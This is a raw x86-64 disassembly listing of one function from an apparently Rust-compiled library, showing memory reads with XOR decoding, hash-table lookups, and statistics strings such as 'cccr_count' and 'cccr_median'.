mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180039890
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x180047197
movzx esi, byte [rsp + 0x184]
movzx eax, byte [rsp + 0x187]
shl eax, 0x10
movzx edi, word [rsp + 0x185]
or edi, eax
movupd xmm6, xmmword [rsp + 0x188]
jmp 0x180046feb
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x95cf6a00
movapd xmm6, xmmword [rsp + 0xd0]
mov edi, esi
shr edi, 8
mov rbx, rbp
mov rbp, qword [rsp + 0xe8]
mov rcx, r15
mov rdx, rbp
call fcn.18003bfe0
dec qword [r15]
jne 0x180047037
inc qword [r15 + 8]
mov rcx, rbx
call fcn.180037510
mov rax, qword [r15 + 8]
dec rax
mov qword [r15 + 8], rax
or rax, qword [r15]
jne 0x180047037
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x58
mov r9d, 8
mov rdx, r15
call qword [rax + 0x20]
test r14d, r14d
je 0x18004707a
mov dword [rsp + 0x180], r14d
shl edi, 8
movzx eax, sil
or eax, edi
mov dword [rsp + 0x184], eax
movupd xmmword [rsp + 0x188], xmm6
lea rdx, [0x18007463d]
lea r9, [rsp + 0x180]
mov r8d, 0xc
mov rcx, r12
call fcn.180057260
mov r15, qword [rsp + 0x98]
mov rax, qword [r15]
cmp qword [rax + 0xf8], r13
mov r13, qword [rsp + 0xc0]
jne 0x1800476df
cmp dword [rax + 0x14c], 0x73747373
jne 0x1800476df
cmp dword [rax + 0x12c], 0x2000
jne 0x1800476df
cmp dword [rax + 0x144], 0x3000
jne 0x1800476df
mov ecx, dword [rax + 0x80]
or ecx, dword [rax + 0x84]
jne 0x1800476df
mov ecx, dword [rax + 0x78]
or ecx, dword [rax + 0x7c]
jne 0x1800476df
mov r9d, 0x2000
add r9, qword [rax + 0x188]
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
or r8, 1
mov dword [rsp + 0xa0], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 4
lea rcx, [rsp + 0x180]
call fcn.180039180
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x18004720c
mov ecx, dword [rsp + 0x184]
movdqu xmm0, xmmword [rsp + 0x188]
mov byte [rsp + 0x180], 2
mov dword [rsp + 0x188], eax
mov dword [rsp + 0x18c], ecx
movdqu xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
call fcn.180035e40
cmp byte [rsp + 0x50], 3
jne 0x180047231
mov esi, dword [rsp + 0x40]
mov eax, dword [rsp + 0x44]
jmp 0x1800472df
xor r14d, r14d
cmp byte [rsp + 0x184], 0x4d
jne 0x1800475ff
inc rsi
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x180]
mov r9, rsi
call fcn.180039890
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800474be
movzx esi, byte [rsp + 0x184]
movzx ecx, byte [rsp + 0x187]
shl ecx, 0x10
movzx edi, word [rsp + 0x185]
or edi, ecx
movupd xmm6, xmmword [rsp + 0x188]
mov r14d, eax
jmp 0x180046feb
cmp qword [rsp + 0x190], 4
jne 0x1800472be
mov rax, qword [rsp + 0x188]
mov eax, dword [rax]
bswap eax
mov esi, 1
jmp 0x1800472df
mov rdi, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x48]
movdqu xmm0, xmmword [rsp + 0x4c]
movdqa xmmword [rsp + 0x70], xmm0
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0x188], eax
mov rax, qword [rsp + 0x74]
mov qword [rsp + 0x180], rax
lea rcx, [rsp + 0x180]
call fcn.18000f5d0
mov ebp, eax
mov esi, edx
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800472c2
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800472d0
xor esi, esi
jmp 0x1800472df
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
test ebp, ebp
je 0x1800472df
mov ecx, 0x44cb30e7
movd xmm0, ecx
jmp 0x180047338
test esi, esi
je 0x1800472f8
movd xmm1, eax
movdqa xmm0, xmmword [0x18006b180]
punpckldq xmm0, xmm1
jmp 0x1800473a5
lea rcx, [0x180077a81]
mov edx, 0x13
call fcn.1800110d0
mov ebp, eax
test eax, eax
mov edi, 1
cmove ebp, edi
lea rcx, [0x180077a5d]
mov edx, 6
call fcn.1800110d0
mov esi, eax
test eax, eax
cmove esi, edi
mov eax, 0x44cb30d9
movd xmm0, eax
xor eax, eax
mov rcx, rax
shr rcx, 0x20
mov dword [rsp + 0x188], ecx
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], eax
cmp ebp, 0xc76970a8
jne 0x180047419
cmp esi, 0x76d4030
jne 0x180047419
mov rsi, qword [rsp + 0x184]
test rsi, rsi
je 0x1800473a1
mov rcx, rsi
call fcn.1800366d0
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x10
mov r9d, 8
mov rdx, rsi
call qword [rax + 0x20]
pxor xmm0, xmm0
movd eax, xmm0
test eax, eax
je 0x1800476df
pshufd xmm0, xmm0, 0x55
movd eax, xmm0
cmp eax, 0x33c0c300
jne 0x1800476df
mov rax, qword [r15]
mov r9d, 0x2004
add r9, qword [rax + 0x188]
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180038f70
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180047435
mov eax, dword [rsp + 0x184]
movdqu xmm0, xmmword [rsp + 0x188]
movdqu xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x40], eax
jmp 0x180047684
mov rax, qword [rsp + 0x180]
mov dword [rsp + 0x48], ecx
movq qword [rsp + 0x4c], xmm0
mov qword [rsp + 0x40], rax
jmp 0x180047684
mov rax, r15
mov r15d, dword [rsp + 0x184]
mov rax, qword [rax]
mov rbx, qword [rax + 0x188]
mov rdi, r13
lea r13, [rbx + 0x2008]
mov dword [rsp + 0x180], r15d
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, r13
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180047604
mov eax, dword [rsp + 0x184]
movdqu xmm0, xmmword [rsp + 0x188]
mov dword [rsp + 0x40], eax
movdqu xmmword [rsp + 0x44], xmm0
mov r13, rdi
jmp 0x18004767c
cmp byte [rsp + 0x184], 0x5a
jne 0x1800475ff
cmp rdi, 0x15
jae 0x180047c8c
cmp rdi, 0x14
jne 0x1800475a6
movdqa xmm0, xmmword [rsp + 0xa0]
movd xmm1, dword [rsp + 0xb0]
pcmpeqb xmm1, xmmword [0x18006b1e0]
pcmpeqb xmm0, xmmword [str.some_appended_da]
pand xmm0, xmm1
pmovmskb eax, xmm0
cmp eax, 0xffff
jne 0x1800475a6
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18007538c]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov edx, 0x549a2aa6
mov r8d, 0xddf2
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x1800475a6
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov rcx, r15
mov rdx, rbp
call fcn.18003bfe0
dec qword [r15]
jne 0x18004707a
inc qword [r15 + 8]
mov rcx, rbx
call fcn.180037510
mov rax, qword [r15 + 8]
dec rax
mov qword [r15 + 8], rax
or rax, qword [r15]
jne 0x18004707a
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x58
mov r9d, 8
mov rdx, r15
call qword [rax + 0x20]
jmp 0x18004707a
jmp 0x180046feb
mov r13, r15
xor rsi, qword [rsp + 0x188]
add r13, rbx
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
lea r14, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
mov r9, r13
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x1800477ae
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0x50], eax
movdqu xmm0, xmmword [rsp + 0x184]
movdqa xmmword [rsp + 0x40], xmm0
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov dword [rsp + 0x180], ebp
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
lea rdx, [0x180074649]
lea r9, [rsp + 0x180]
mov r8d, 6
mov rcx, r12
call fcn.180057260
mov r12, qword [rsp + 0xc8]
cmp byte [r12 + 0x3c], 0
je 0x180047c4d
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x180]
lea r8, [rsp + 0x138]
mov rdx, r15
mov r9, r13
call fcn.180004a30
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x180047c4d
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180047786
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180047791
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov rcx, qword [rsp + 0x1190]
mov dword [rcx + 4], edi
mov qword [rcx + 8], rax
mov dword [rcx + 0x10], 0xf40f5be1
mov dword [rcx], esi
jmp 0x180047c5f
lea eax, [r15 - 1]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
lea r9, [rbx + 0x2010]
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
lea r9, [r13 + 8]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
lea eax, [r15 - 2]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
lea r9, [rbx + 0x2018]
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
lea r9, [r13 + 0x10]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
lea eax, [r15 - 3]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
lea r9, [rbx + 0x2020]
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
lea r9, [r13 + 0x18]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
lea eax, [r15 - 4]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
lea r9, [rbx + 0x2028]
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
lea r9, [r13 + 0x20]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
lea eax, [r15 - 5]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
lea r9, [rbx + 0x2030]
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
lea r9, [r13 + 0x28]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
lea eax, [r15 - 6]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
lea r9, [rbx + 0x2038]
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
lea r9, [r13 + 0x30]
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
lea eax, [r15 - 7]
mov dword [rsp + 0x180], eax
lea rcx, [rsp + 0x180]
mov edx, 4
call fcn.180010e20
mov rsi, rax
add rbx, 0x2040
mov rdi, qword [rsp + 0xc0]
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x180]
mov r9, rbx
call fcn.180039690
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004749c
xor rsi, qword [rsp + 0x188]
add r13, 0x38
mov qword [rsp + 0x40], rsi
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x28], 8
lea rcx, [rsp + 0x180]
mov r9, r13
call fcn.180039950
mov ebp, dword [rsp + 0x180]
test ebp, ebp
jne 0x18004765a
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
cmp byte [r12 + 0x3c], 0
jne 0x1800476f3
mov rax, qword [rsp + 0x1190]
mov byte [rax + 4], 0
mov dword [rax], 0
movaps xmm6, xmmword [rsp + 0x11a0]
movaps xmm7, xmmword [rsp + 0x11b0]
movaps xmm8, xmmword [rsp + 0x11c0]
add rsp, 0x11d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x180075360]
mov edx, 0x14
mov rcx, rdi
call fcn.18000bfa0
ud2
mov ecx, 1
call fcn.18000b9f0
ud2
mov ecx, dword [rsi + rdi*4]
add rax, rcx
inc rdi
cmp r14, rdi
jne 0x180047cae
mov rcx, rax
or rcx, r14
shr rcx, 0x20
je 0x180047ccf
xor edx, edx
div r14
jmp 0x180047cd4
xor edx, edx
div r14d
mov rcx, rax
shr rcx, 0x20
shl rax, 0x20
or rax, 0x100
test rcx, rcx
mov ecx, 0x101
cmove rcx, rax
test cl, cl
jne 0x18004858e
shr rcx, 0x20
mov dword [rsp + 0xa0], ecx
mov rsi, qword [r12 + 0x28]
lea rdx, str.cccr_countcccr_mincccr_mediancccr_averagecccr_max
lea r9, [rsp + 0x40]
mov r8d, 0xa
mov rcx, rsi
call fcn.1800577e0
lea rdx, [0x180074e42]
lea r9, [rsp + 0x108]
mov r8d, 8
mov rcx, rsi
call fcn.1800575a0
lea rdx, [0x180074e4a]
lea r9, [rsp + 0xf0]
mov r8d, 0xb
mov rcx, rsi
call fcn.1800575a0
lea rdx, [0x180074e55]
lea r9, [rsp + 0xa0]
mov r8d, 0xc
mov rcx, rsi
call fcn.1800575a0
lea rdx, [0x180074e61]
lea r9, [rsp + 0xd0]
mov r8d, 8
mov rcx, rsi
call fcn.1800575a0
mov ecx, 4
mov edx, 4
mov r8, r15
call fcn.18000f2e0
test rax, rax
mov r15, qword [rsp + 0x98]
je 0x180047e30
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx]
mov r10, qword [rcx + 0x1000]
mov r9, qword [rcx + 0x1008]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rdx
mov qword [rsp + 0xd0], r10
mov qword [rsp + 0xd8], r9
test r10, r10
je 0x180048413
cmp r10, rax
jne 0x180048413
cmp r9, rdx
jne 0x180048413
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0xd0], rcx
cmp rcx, r8
jne 0x180048510
mov qword [rcx + 0x1000], 0
dec qword [r13]
mov r14, qword [rsp + 0xc0]
lea rcx, [rsp + 0x180]
mov rdx, r15
mov r8, r14
call fcn.180066e40
mov esi, dword [rsp + 0x180]
test esi, esi
je 0x180047ec0
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180047f55
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180047f60
mov rax, qword [rsp + 0x188]
mov r15, qword [rsp + 0x190]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x18004869b
mov rax, qword [rax + 0x18]
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180047f0c
mov r9, r8
sub r8, r10
jbe 0x18004869b
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2dd2b3ce
setne sil
cmovb esi, edx
cmp sil, 1
je 0x180047f00
movzx r10d, sil
cmp r10d, 0xff
jne 0x180047fc4
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180047f0c
jmp 0x18004869b
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x25a787dc
mov rax, qword [rsp + 0x70]
mov edx, dword [rsp + 0x78]
mov r8d, dword [rsp + 0x7c]
mov rcx, qword [r12 + 0x28]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], edx
mov dword [rsp + 0x194], r8d
lea rdx, [0x1800744f0]
lea r9, [rsp + 0x180]
mov r8d, 6
call fcn.180057260
jmp 0x1800486a6
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x18004869b
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180047ffc
mov r10, rdx
sub rdx, r11
jbe 0x18004869b
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x2b937060
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180047ff0
movzx r11d, sil
cmp r11d, 0xff
jne 0x180048042
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180047ffc
jmp 0x18004869b
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x18004805e
mov r9, r8
sub r8, r10
jbe 0x18004869b
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2dd2b3ce
setne sil
cmovb esi, edx
cmp sil, 1
je 0x180048052
movzx r10d, sil
cmp r10d, 0xff
jne 0x1800480a3
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x18004805e
jmp 0x18004869b
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x18004869b
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x1800480cf
mov r10, rdx
sub rdx, r11
jbe 0x18004869b
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0xc709d571
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x1800480c3
movzx r11d, sil
cmp r11d, 0xff
jne 0x180048115
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x1800480cf
jmp 0x18004869b
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180048131
mov r9, r8
sub r8, r10
jbe 0x18004869b
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2dd2b3ce
setne sil
cmovb esi, edx
cmp sil, 1
je 0x180048125
movzx r10d, sil
cmp r10d, 0xff
jne 0x180048176
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180048131
jmp 0x18004869b
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x18004869b
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x1800481a2
mov r10, rdx
sub rdx, r11
jbe 0x18004869b
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x52cd0d58
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180048196
movzx r11d, sil
cmp r11d, 0xff
jne 0x1800481e8
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x1800481a2
jmp 0x18004869b
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180048204
mov r9, r8
sub r8, r10
jbe 0x18004869b
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2dd2b3ce
setne sil
cmovb esi, edx
cmp sil, 1
je 0x1800481f8
movzx r10d, sil
cmp r10d, 0xff
jne 0x180048249
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180048204
jmp 0x18004869b
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x18004869b
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180048275
mov r10, rdx
sub rdx, r11
jbe 0x18004869b
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x1a9b3246
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180048269
movzx r11d, sil
cmp r11d, 0xff
jne 0x1800482bb
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180048275
jmp 0x18004869b
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
mov r14, qword [rsp + 0xc0]
jmp 0x1800482df
mov r9, r8
sub r8, r10
jbe 0x18004869b
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2dd2b3ce
setne sil
cmovb esi, edx
cmp sil, 1
je 0x1800482d3
movzx r10d, sil
cmp r10d, 0xff
jne 0x180048324
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x1800482df
jmp 0x18004869b
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
mov r14, qword [rsp + 0xc0]
je 0x18004869b
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
mov r14, qword [rsp + 0xc0]
jmp 0x180048360
mov r10, rdx
sub rdx, r11
jbe 0x18004869b
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x40c62caa
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180048354
movzx r11d, sil
cmp r11d, 0xff
jne 0x1800483a6
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180048360
jmp 0x18004869b
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
mov r14, qword [rsp + 0xc0]
jmp 0x1800483ca
mov r9, r8
sub r8, r10
jbe 0x18004869b
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2dd2b3ce
setne sil
cmovb esi, edx
cmp sil, 1
je 0x1800483be
movzx r10d, sil
cmp r10d, 0xff
jne 0x18004848a
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x1800483ca
jmp 0x18004869b
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xa0], rax
lea rax, [0x180008e80]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xb8], rax
lea rax, [0x1800740a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 3
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
lea rdx, [0x1800740d0]
jmp 0x180048582
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
mov r14, qword [rsp + 0xc0]
je 0x18004869b
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
mov r14, qword [rsp + 0xc0]
jmp 0x1800484c6
mov r10, rdx
sub rdx, r11
jbe 0x18004869b
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0xd222f5a1
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x1800484ba
movzx r11d, sil
cmp r11d, 0xff
jne 0x1800485bd
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x1800484c6
jmp 0x18004869b
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xa0], rax
lea rax, [0x18005c320]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xb8], rax
lea rax, [0x180074040]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 3
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
lea rdx, [0x180074070]
lea rcx, [rsp + 0x40]
call fcn.18000b980
ud2
mov byte [rsp + 0xa0], 1
lea rax, [0x180076078]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x180074fa8]
lea r8, [rsp + 0xa0]
jmp 0x180056fa4
xor r9d, r9d
mov edx, 0xff
